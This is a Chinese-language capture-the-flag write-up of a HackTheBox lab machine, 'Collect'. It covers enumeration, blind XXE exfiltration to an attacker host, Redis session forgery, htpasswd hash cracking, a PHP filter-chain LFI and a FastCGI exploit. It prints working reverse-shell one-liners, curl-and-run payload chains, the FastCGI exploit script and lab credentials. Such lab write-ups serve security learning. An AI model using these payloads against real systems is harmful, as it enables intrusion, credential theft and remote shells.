OverView
好难啊,但是学到了很多东西。
Enumeration
Nmap Scan
Nmap。这里用全端口扫描,不怕时间长,如果不这样的话就扫不出 6379 这个端口
└─$ sudo nmap -sC -sV -T4 -p- 10.10.11.192
[sudo] password for shule:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-14 13:59 CST
Nmap scan report for collect.htb (10.10.11.192)
Host is up (0.61s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 db1d5c65729bc64330a52ba0f01ad5fc (RSA)
| 256 4f7956c5bf20f9f14b9238edcefaac78 (ECDSA)
|_ 256 df47554f4ad178a89dcdf8a02fc0fca9 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Home
6379/tcp open redis Redis key-value store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1482.99 seconds
主站的域名是 collect.htb
Subdomain-Gather
子域名扫描
sudo wfuzz -c -f subdomain.txt -w /usr/share/amass/wordlists/subdomains.lst -u "http://collect.htb" -H "host:FUZZ.collect.htb" --hl 541
首先来看 collect.htb,主要有两个路由:/register 和 /index 测试发现没有任何 sql 注入的可能性,也发现 admin 用户已经注册,那么我就随便注册一个用户名叫 lk。登录后进入了 /home 页面,但是没有任何其他的功能。
进行 dirsearch 目录扫描。可以发现有 /admin 页面。但是没有其他的利用点了,主站先放着。
Forum Subdomain
去访问一下 forum.collect.htb
发现是一个 mybb 论坛,经过查询,我们是没有办法直接知道版本号的,因此就来翻翻论坛内容。可以知道这个论坛原本是想让内部人员访问的但是开发人员 john 后面不干了。
可以看到 john 用户已经是不激活用户了
Sensitive Information Leakage
在一篇讨论 polluteApi 的帖子中发现了附件
点开看看,可以发现存在类似的 http 请求信息还有 base64 编码
解开看看
内容:
POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
token=ddac62a28254561001277727cb397baf
尝试替换 Cookie 发现登录不了,但是猜测路由应该是设置管理员,而且给了 token。编撰 http 报文,尝试将自己的用户设置为管理员(将 PHPSESSID 设置为自己的)成功了
回到 collect.htb
访问 admin 页面,这时候发现多了一个 pollution api 注册功能
XXE Blind Inject & Read File
不知道有什么用,尝试抓包一下,发现竟然是 xml 请求
考虑 xee 数据外带
准备好 evil.dtd,由于是 php 环境,因此利用 php 协议
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://10.10.16.7/?x=%file;'>">
%eval;
%exfiltrate;
开启 80 端口 http 服务
python3 -m http.server 80
提交 payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://10.10.16.7/evil.dtd"> %xxe;]>
<root><method>POST</method><uri>/auth/register</uri><user><username>lk</username><password>123</password></user></root>
可以发现响应有语法错误,但是还是得到了回显
试着读 /etc/passwd 却不行,估计是由于 url 过长发不了请求。因此我们采用压缩流
将 evil.dtd 改成
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://10.10.16.7/?x=%file;'>">
%eval;
%exfiltrate;
这时候解压变成了
<?php
echo zlib_decode(base64_decode(''));
这样就可以读取内容较大的文件了
尝试读取 index.php
<?php
require '../bootstrap.php';
use app\classes\Routes;
use app\classes\Uri;
$routes = [
"/" => "controllers/index.php",
"/login" => "controllers/login.php",
"/register" => "controllers/register.php",
"/home" => "controllers/home.php",
"/admin" => "controllers/admin.php",
"/api" => "controllers/api.php",
"/set/role/admin" => "controllers/set_role_admin.php",
"/logout" => "controllers/logout.php"
];
$uri = Uri::load();
require Routes::load($uri, $routes);
想读一下其他 php 发现都读不了,也不知道怎么回事,后来才想明白当前路径不一定就是在这里,我们并不知道当前路径的位置和绝对路径
读一下 ../bootstrap.php,发现了 redis 的授权密码COLLECTR3D1SPASS
<?php
ini_set('session.save_handler','redis');
ini_set('session.save_path','tcp://127.0.0.1:6379/?auth=COLLECTR3D1SPASS');
session_start();
require '../vendor/autoload.php';
读一下 ../vendor/autoload.php
<?php
// autoload.php @generated by Composer
if (PHP_VERSION_ID < 50600) {
echo 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
exit(1);
}
require_once __DIR__ . '/composer/autoload_real.php';
return ComposerAutoloaderInit6ed02d0b5fad16cf9e1009d90bda7689::getLoader();
读一下 .httaccess 发现可以
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
但是没有什么有用信息
Redis Enumeration
直接用读取到的授权码连接 redis 数据库吧
redis-cli -h 10.10.11.192 -p 6379 -a COLLECTR3D1SPASS
redis 信息收集
查看信息
info
可以看到版本是 6.0.16,因此不能用主从复制了,尝试写 shell,但是并不知道网站的绝对路径
获取所有配置项
CONFIG GET *
查看所有的 key
keys *
但是没什么用
但是我们可以用 config set dir
确定存在路径
看了别人的做法才知道原来别人用 redis 试出了 /var/www/collect/app
这个路径,也就是之前的 controllers
是在这个目录下。
访问一下 developers.collect.htb
需要授权才能访问
利用之前的 xxe 读取一下 .htpasswd
.htpasswd 用于建立和更新存储用户名、密码的文本文件, 用于对HTTP用户的 basic 认证。
由于/var/www/developers
存在
我们用 xxe 读取
/var/www/developers/.htpasswd
结果
developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1
检测一下密码类型
hashcat 爆破
hashcat -m 1600 hash.txt -a 0 /usr/share/wordlists/rockyou.txt
得到结果
r0cket
但是访问站点又遇到了一个 login.php 尝试拥有的用户根本访问不了,于是读取 /var/www/developers/login.php
核心代码如下:
<?php
require './bootstrap.php';
if(isset($_SESSION['auth']) && $_SESSION['auth'] == True)
{
die(header("Location: /"));
}
$db = new mysqli("localhost", "webapp_user", "Str0ngP4ssw0rdB*12@1", "developers");
$db->set_charset('utf8mb4');
$db->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1);
if (isset($_POST['username']) && !empty($_POST['username']) && isset($_POST['password']) && !empty($_POST['password'])) {
$stmt = $db->prepare("SELECT * FROM users where username=?");
$stmt->bind_param("s", $_POST['username']);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_object();
if ($row && $row->username == $_POST['username'] && $row->password == md5($_POST['password'])) {
$_SESSION['username'] = $_POST['username'];
$_SESSION['auth'] = True;
die(header('Location: /'));
}
}
?>
很明显啊,如果 Cookie 中 auth 的值为 true
那么就放行,或者是能够知道 mysql 数据库里面的值用户完成登录,也能够放行。但是可惜 3306 不开放。
搜索了一下,发现可以通过 redis 修改 php Cookie 对应的值
"username|s:3:\"abc\";role|s:5:\"admin\";"
修改为
"username|s:3:\"abc\";role|s:5:\"admin\";auth|s:4:\"True\";"
其实这就是 Php Session 的存储格式
这个时候就可以直接绕过 Login.php 了
LFI & Foothold
登录进去以后发现文件包含
可以用 https://github.com/synacktiv/php_filter_chain_generator 进行 php 协议的利用
但是由于 url 过长,没有办法连接哥斯拉,读取文件会有字符干扰,提取不便,因此需要来个反弹 shell。这里想了很久,因为如果生成的是反弹 shell 的 php 代码会导致 url 过长。最后用这个方法
1=`rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/bash%20-i%202>%261|nc%2010.10.16.7%201337%20>/tmp/f`;
当然也可以这样,先用 curl 上传一个文件,文件中包含恶意的反弹 shell 代码,添加可执行权限后远程执行 bash -c
命令执行反弹 shell 文件。
# create a file named 'a' with the following contents:
#!/bin/bash
bash -i >& /dev/tcp/10.10.x.x/1337 0>&1
# next generate the payloads and repeat the steps. Make sure python simple HTTP server is hosting the file you made.
# payload to grab the file from server
python3 chain.py --chain '<?=`curl 10.10.x.x/a -o /tmp/a` ?>'
# payload to make the file executable
python3 chain.py --chain '<?=`chmod +x /tmp/a` ?>'
# stand up listener for rev shell
nc -lvnp 1337
# payload to execute your reverse shell on server
python3 chain.py --chain '<?=`bash -c /tmp/a` ?>'
于是就终于得到了 www-data 用户的 shell
为了防止 shell 掉,添加个 webshells
user.txt
发现 9000 端口开着
netstat -ano
我们看一下端口对应的服务,这里用 lsof 能够显示服务名
lsof -i:9000
可以看到是 fpm 服务,我们可以找到利用的方法 https://book.hacktricks.xyz/network-services-pentesting/9000-pentesting-fastcgi
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.7 1338 >/tmp/f'); echo '-->';"
FILENAMES="/var/www/developers/index.php" # Exisiting file path
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
但是发现 system 中反弹 shell 的内容不执行。但是如果只让他执行一个 whoami
那么就会显示victor
因此决定编写一个 a 文件,里面放置的内容是
bash -i >& /dev/tcp/10.10.16.7/1338 0>&1
让 fast-cgi 执行 basc -c /tmp/a
即可完成反弹 shell
得到 user.txt,至于提权,看了题解是用原型污染链,转发 3000 端口到本地进行利用,属于是我不会的范围了。
End
最后来看一下目录结构,困扰了很久
/var/www
/collect
- /app
- /classes
- /controllers
- admin.php
- api.php
- index.php
- logout.php
- register.php
- set_role_admin.php
- /functions
- /models
- /views
- bootstrap.php
- composer.json
- config.php
- /public
- .htaccess
- /assets
- index.php
- /vendor
- autoload.php
- /composer
/developers
- .htaccess
- .htpasswd
- /assets
- bootstrap.php
- calendar.php
- footer.php
- home.php
- index.php
- login.php
- logout.php
- projects.php
/forum
而实际上当时我们读到的 index.php 是在 /var/www/collect/public
中的,怪不得读不到其他的文件